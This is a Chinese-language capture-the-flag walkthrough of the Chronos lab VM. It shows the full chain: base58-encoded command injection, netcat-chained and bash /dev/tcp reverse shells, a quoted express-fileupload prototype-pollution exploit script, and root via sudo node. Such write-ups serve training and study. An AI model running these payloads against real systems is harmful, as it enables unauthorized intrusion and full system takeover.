打靶過程
kali ip:192.168.1.4
靶機 ip:192.168.1.5
1、主機發現
arp-scan -l 發現靶機地址為192.168.1.5
2、端口掃描,服務發現
nmap -p- -sV 192.168.1.5
發現靶機上開啟了22、80、8000端口
80端口 開啟apache服務
並且8000端口上部署着 Node.js Express frameword 用的Node.js語言搭建的web頁面,且框架用的是express
3、分別訪問192.168.1.5:80 和 192.168.1.5:8000
分別發現 192.168.1.5:8000
192.168.1.5:80
ctrl+u查看網頁源代碼,發現有一段Js代碼
將其復制,並利用https://gchq.github.io/CyberChef/
上的javascript Beautify工具進行美化
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
從代碼中我們發現其中的好多字母都被編碼了,但是不難發現其中有一條訪問的ip地址
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'
當前頁面會加載的過程中會訪問這個網址的資源,讀取某些頁面資源,放在頁面當中
chronos.local目前還沒有辦法解析,懷疑其中的chronos.local是目標靶機本身
因此,接下來的操作通過編輯主機下的hosts文件,綁定主機和ip的對應關系
127.0.0.1 localhost
127.0.1.1 kali
192.168.1.5 chronos.local
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
再次刷新頁面,發現頁面發生了變化
某似加載了時間日期,通過burp抓包來確認一下
發起了三次請求,訪問了http://192.168.1.5
和http://chronos.local:8000
通過觀察我們發現在訪問http://chronos.local:8000
時,采用GET請求,提交的數據為format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
時,response響應內容回顯在頁面
format后面傳遞的數據可能是通過base64編碼來完成了,我們繼續用https://gchq.github.io/CyberChef/
工具進行解碼操作
利用該工具中的magic方法,自動識別到了該編碼采用的是base58進行編碼的,我們通過base58解碼發現,解碼出來的字符串為
'+Today is %A, %B %d, %Y %H:%M:%S.' 應該是日期的一種格式化輸出
┌──(liuzongfu㉿kali)-[~]
└─$ date '+Today is %A, %B %d, %Y %H:%M:%S.'
Today is 星期六, 八月 21, 2021 11:57:27.
嘗試在本地的kali上運行,和期望的樣子一樣
那么在format參數提交的時候是否能采用命令注入的手段
date '+Today is %A, %B %d, %Y %H:%M:%S.' && ls
date '+Today is %A, %B %d, %Y %H:%M:%S.' || ls
date '+Today is %A, %B %d, %Y %H:%M:%S.' ; ls
使用burp的repeater工具進行抓包,修改數據進行重放,其中注意的是修改的數據也應該需要base58進行編碼
發現存在命令注入漏洞,我們繼續拼接&& ls /bin
的base58編碼,看/bin
目錄下有沒有nc,修改發現有nc
繼續對&& nc 192.168.1.4 4444
進行base58編碼拼接,然后在本地開啟監聽端口nc -nvlp 4444
,burp重放包,發現可以連接到本地。
但修改命令為&& nc 192.168.1.4 4444 -e /bin/bash
發現,該版本的nc沒有-e參數,因此需要用到nc串聯的方式
&& nc 192.168.1.4 4444 | /bin/bash | nc 192.168.1.4 5555
ls
pwd
cat /etc/passwd
cd /home
cd imera
ls -l
sudo -l
一系列操作后,發現權限非常低,需要提權
這時需要白盒代碼審計,進入/opt
發現有兩個文件夾chronos
和chronos-v2
兩個文件夾,挨個進行代碼審計
經過查詢后,發現這里存在express-fileupload
漏洞,具體參考https://blog.p6.is/Real-World-JS-1/
博客
作者也在最后貼出了payload
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')
結合實驗構造自己的payload exp.py
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.4/4444 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
在本地開啟服務器,讓靶機下載我們的payload exp.py
kali
python3 -m http.server 80
靶機
wget http://192.168.1.4/exp.py 下載exp.py 下載在/tmp目錄下
然后執行 python3 exp.py
並且主機監聽 nc -nvlp 4444
利用成功
id
發現自己已經是imera權限
uid=1000(imera) gid=1000(imera) groups=1000(imera),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
進入cd /home/imera下,發現存在user.txt,cat一下,發現flag
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
為了提升到root權限
Linux下提權有三種方式
1、內核漏洞 2、利用suid權限配置不當 3、利用sudo權限不謹慎的地方
我們嘗試sudo -l
imera@chronos:~$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User imera may run the following commands on chronos:
(ALL) NOPASSWD: /usr/local/bin/npm *
(ALL) NOPASSWD: /usr/local/bin/node *
可以發現不需要密碼提示的情況下,可以運行node和npm命令
是否可以利用node代碼提權
sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
< 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
id
uid=0(root) gid=0(root) groups=0(root) 權限提升成功
cd /root
ls
root.txt
cat root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK